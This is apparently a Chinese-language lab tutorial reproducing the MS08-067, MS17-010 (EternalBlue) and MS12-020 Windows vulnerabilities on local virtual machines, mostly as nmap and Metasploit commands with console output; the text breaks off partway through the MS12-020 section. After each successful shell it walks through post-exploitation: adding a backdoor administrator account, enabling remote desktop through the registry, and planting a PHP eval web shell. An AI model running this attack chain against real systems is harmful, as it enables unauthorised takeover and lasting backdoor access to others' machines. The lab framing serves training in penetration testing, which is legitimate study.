OS CPE: cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::- cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows Server 2003 SP0 - SP2
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| smb-vuln-ms08-067: 
|   VULNERABLE:                                 #ms08-067漏洞为可利用漏洞
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

TRACEROUTE
HOP RTT     ADDRESS
1   1.47 ms 192.168.239.135

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.02 seconds


#说明:直接写vuln,没写参数,说明自动默认查找漏洞。当然可以指定更详细的脚本名称,或者指定更精确的参数。如下命令就是制定详细的脚本名称
┌──(root㉿kali)-[~]
└─# nmap -A --script=smb-vuln-ms08-067.nse 192.168.239.135
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-03 23:56 EDT
Nmap scan report for 192.168.239.135
Host is up (0.0011s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Services
MAC Address: 00:0C:29:7A:03:2D (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP|2003
OS CPE: cpe:/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2003::- cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows Server 2003 SP0 - SP2
Network Distance: 1 hop
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

TRACEROUTE
HOP RTT     ADDRESS
1   1.13 ms 192.168.239.135

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds
namp几种常用的扫描脚本类型
漏洞利用:vuln
权限验证:auth
暴力破解:brute
服务信息发现:discovery
DOS攻击:dos
当然还有很多。。。。

使用命令:nmap --script=[脚本名称] [参数] [目标]
(不同的脚本接的参数也不同,所以这里没办法详细标注,使用特定脚本时可以百度或者查看说明)

漏洞利用

#运行metasploit
┌──(root㉿kali)-[~]
└─# msfconsole


      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can use help to view all 
available commands

msf6 > 

#查看关于ms08-067的攻击模块
msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > 

#使用查询到的模块
msf6 > use 0    #可以写模块的id,也可以直接写模块名
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > 

#查看需要配置的内容
msf6 exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):   #模块选项

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com
                                       /rapid7/metasploit-framework/wiki/Using-Me
                                       tasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):  #有效载荷选项

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread
                                        , process, none)
   LHOST     192.168.239.132  yes       The listen address (an interface may be s
                                        pecified)
   LPORT     4444             yes       The listen port


Exploit target:                 #攻击目标

   Id  Name
   --  ----
   0   Automatic Targeting


#主要看当前设置栏,为空的需要我们自行配置,以后的看看对不对是否需要修改
#设置目的地址(靶机ip)
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.239.135
rhost => 192.168.239.135
#查看载荷
msf6 exploit(windows/smb/ms08_067_netapi) > show payloads 

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/ssh/interact                                                 normal  No     Interact with Established SSH Connection
   5    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   6    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   7    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   8    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   9    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   10   payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   11   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager


#选择载荷
msf6 exploit(windows/smb/ms08_067_netapi) > set payload 2
payload => generic/shell_bind_tcp

#再次查看配置选项
msf6 exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.239.135  yes       The target host(s), see https://github.com
                                       /rapid7/metasploit-framework/wiki/Using-Me
                                       tasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (generic/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.239.135  no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


#实施攻击
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.239.135:445 - Automatically detecting the target...
[*] 192.168.239.135:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.239.135:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.239.135:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.239.135:4444
[*] Command shell session 1 opened (192.168.239.132:42805 -> 192.168.239.135:4444 ) at 2022-07-03 22:58:54 -0400        #攻击成功建立会话获取cmd命令行的控制权限


Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
-----


C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.239.135
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.239.2

C:\WINDOWS\system32>

#成功攻击并可以执行cmd命令,通过以下命令通过远程桌面连接靶机
#创建一个用户,用户名为admin,密码为pass,并提升为管理员权限
C:\WINDOWS\system32>net user admin pass /add && net localgroup administrators admin /add

The command completed successfully.

#开启windos远程登录端口
C:\WINDOWS\system32>echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat

C:\WINDOWS\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   

The operation completed successfully

#检查端口是否开启
C:\WINDOWS\system32>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1028         0.0.0.0:0              LISTENING
  TCP    192.168.239.135:135    192.168.239.132:37286  TIME_WAIT
  TCP    192.168.239.135:135    192.168.239.132:37288  TIME_WAIT
  TCP    192.168.239.135:139    0.0.0.0:0              LISTENING
  TCP    192.168.239.135:139    192.168.239.132:43062  TIME_WAIT
  TCP    192.168.239.135:139    192.168.239.132:43064  TIME_WAIT
  TCP    192.168.239.135:445    192.168.239.132:46516  CLOSE_WAIT
  TCP    192.168.239.135:4444   192.168.239.132:42805  CLOSE_WAIT
  TCP    192.168.239.135:4444   192.168.239.132:45841  ESTABLISHED

开启一个新的终端,进行远程桌面连接

#命令
┌──(root?kali)-[~]
└─# rdesktop 192.168.239.135

1656906672541

1656906687779

ms17-010漏洞复现

简介

永恒之蓝介绍

永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。

漏洞原理

永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。

影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

复现

实验环境

一台windows server 2008 sp2服务器,作为靶机
一台kali Linux作为攻击机

实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的

漏洞利用

#启动metasploit
┌──(root㉿kali)-[~]
└─# msfconsole 


 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the 
save command, future console restarts will use this 
environment again

msf6 > 

#查看关于ms17-010的攻击模块
msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

说明:
这里可以得到一些工具,其中
选项3:auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块 
选项0:exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块
一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
#使用扫描模块,设置靶机ip然后进行扫描
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) >  set rhosts 192.168.239.129
rhosts => 192.168.239.129
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.239.129:445   - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)
[*] 192.168.239.129:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Host is likely VULNERABLE to MS17-010!
#发现有漏洞,使用攻击模块,指定ip进行攻击
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.239.129
rhosts => 192.168.239.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.239.132:4444 
[*] 192.168.239.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.239.129:445   - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)
[*] 192.168.239.129:445   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.239.129:445 - The target is vulnerable.
[*] 192.168.239.129:445 - Connecting to target for exploitation.
[+] 192.168.239.129:445 - Connection established for exploitation.
[+] 192.168.239.129:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.239.129:445 - CORE raw buffer dump (36 bytes)
[*] 192.168.239.129:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.239.129:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard 
[*] 192.168.239.129:445 - 0x00000020  37 36 30 30                                      7600            
[+] 192.168.239.129:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.239.129:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.239.129:445 - Sending all but last fragment of exploit packet
[*] 192.168.239.129:445 - Starting non-paged pool grooming
[+] 192.168.239.129:445 - Sending SMBv2 buffers
[+] 192.168.239.129:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.239.129:445 - Sending final SMBv2 buffers.
[*] 192.168.239.129:445 - Sending last fragment of exploit packet!
[*] 192.168.239.129:445 - Receiving response from exploit packet
[+] 192.168.239.129:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.239.129:445 - Sending egg to corrupted connection.
[*] 192.168.239.129:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.239.129
[*] Meterpreter session 1 opened (192.168.239.132:4444 -> 192.168.239.129:49159 ) at 2022-07-04 01:50:22 -0400
[+] 192.168.239.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.239.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.239.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > shell
Process 648 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.239.129
        Subnet Mask . . . . . . . . . . . : 255.255.255.0

#生成一句话木马(先看跟着做,后面讲解)
C:\Windows\system32>echo "<?php @eval($_REQUEST['haha']); ?>" >C:\phpStudy\PHPTutorial\WWW\1.php        #这个路径是phpstudy的路径

通过菜刀工具连接一句话木马

1656914997271

地址就是服务器的地址,后面的uri是我们创建的文件的路径和名称,后面的“haha”是我们编写一句话木马时候写的,选择类型为php(eval)。

1656914823832

获取服务器的控制权限

1656915108135

ms12-020漏洞复现

简介

漏洞名:MS12-020(全称:Microsoft windows远程桌面协议RDP远程代码执行漏洞)

介绍:RDP协议是一个多通道的协议,让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化或已经删除的对象,导致任意代码执行。 然后控制系统。

复现

实验环境

一台windows xp sp3 英文版的主机,作为靶机
一台kali Linux作为攻击机

实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了3389端口,防火墙是关闭的

漏洞发现

#扫描系统的3389端口是否是开放的
┌──(root㉿kali)-[~]
└─# nmap 192.168.239.135    
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 01:31 EDT
Nmap scan report for 192.168.239.135
Host is up (0.0057s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
MAC Address: 00:0C:29:7A:03:2D (VMware)

#端口为开放的,接下来尝试攻击

漏洞利用

#启动metasploit
┌──(root㉿kali)-[~]
└─# msfconsole 


*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*
*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade*
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*
*B0NG0R3*                                                                                    *Les Cadets Rouges*buf*
*Les Tontons Fl4gueurs*                                                                      *404 : Flag Not Found*
*' UNION SELECT 'password*      _________                __                                  *OCD247*Sparkle Pony* 
*burner_herz0g*                 \_   ___ \_____  _______/  |_ __ _________   ____            *Kill$hot*ConEmu*
*here_there_be_trolls*          /    \  \/\__  \ \____ \   __\  |  \_  __ \_/ __ \           *;echo"hacked"*
*r4t5_*6rung4nd4*NYUSEC*        \     \____/ __ \|  |_> >  | |  |  /|  | \/\  ___/           *karamel4e*
*IkastenIO*TWC*balkansec*        \______  (____  /   __/|__| |____/ |__|    \___  >          *cybersecurity.li*
*TofuEelRoll*Trash Pandas*              \/     \/|__|                           \/           *OneManArmy*cyb3r_w1z4rd5*
*Astra*Got Schwartz?*tmux*                  ___________.__                                   *AreYouStuck*Mr.Robot.0*
*\nls*Juicy white peach*                    \__    ___/|  |__   ____                         *EPITA Rennes*
*HackerKnights*                               |    |   |  |  \_/ __ \                        *guildOfGengar*Titans*
*Pentest Rangers*                             |    |   |   Y  \  ___/                        *The Libbyrators*
*placeholder name*bitup*                      |____|   |___|  /\___  >                       *JeffTadashi*Mikeal*
*UCASers*onotch*                                            \/     \/                        *ky_dong_day_song*
*NeNiNuMmOk*                              ___________.__                                     *JustForFun!*
*Maux de tête*LalaNG*                     \_   _____/|  | _____     ____                     *g3tsh3Lls0on*
*crr0tz*z3r0p0rn*clueless*                 |    __)  |  | \__  \   / ___\                    *Phở Đặc Biệt*Paradox*
*HackWara*                                 |     \   |  |__/ __ \_/ /_/  >                   *KaRIPux*inf0sec*
*Kugelschreibertester*                     \___  /   |____(____  /\___  /                    *bluehens*Antoine77*
*icemasters*                                   \/              \//_____/                     *genxy*TRADE_NAMES*
*Spartan's Ravens*                       _______________   _______________                   *BadByte*fontwang_tw*
*g0ldd1gg3rs*pappo*                     \_____  \   _  \  \_____  \   _  \                   *ghoti*
*Les CRACKS*c0dingRabbits*               /  ____/  /_\  \  /  ____/  /_\  \                  *LinuxRiders*   
*2Cr4Sh*RecycleBin*                     /       \  \_/   \/       \  \_/   \                 *Jalan Durian*
*ExploitStudio*                         \_______ \_____  /\_______ \_____  /                 *WPICSC*logaritm*
*Car RamRod*0x41414141*                         \/     \/         \/     \/                  *Orv1ll3*team-fm4dd*
*Björkson*FlyingCircus*                                                                      *PwnHub*H4X0R*Yanee*
*Securifera*hot cocoa*                                                                       *Et3rnal*PelarianCP*
*n00bytes*DNC&G*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity*
*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*H@wk33*JetJ*OrangeStar*Team Corgi*
*D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu*
*Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r*
*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*
*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva*
*InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings*
*chads*SecureShell*EetIetsHekken*CyberSquad*P&K*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*
*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*



       =[ metasploit v6.1.27-dev                          ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the 
save command, future console restarts will use this 
environment again

msf6 > 

#发现没有每次启动的图像都不一样
#查询有关ms12-020的模块
msf6 > search ms12-020

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/rdp/ms12_020_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker
   1  auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
发现了两个模块
auxiliary/scanner/rdp/ms12_020_check是扫描模块
auxiliary/dos/windows/rdp/ms12_020_maxchannelids是攻击模块
#使用扫描模块进行扫描
msf6 > use 0
msf6 auxiliary(scanner/rdp/ms12_020_check) > show options 

Module options (auxiliary/scanner/rdp/ms12_020_check):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    3389             yes       Remote port running RDP (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

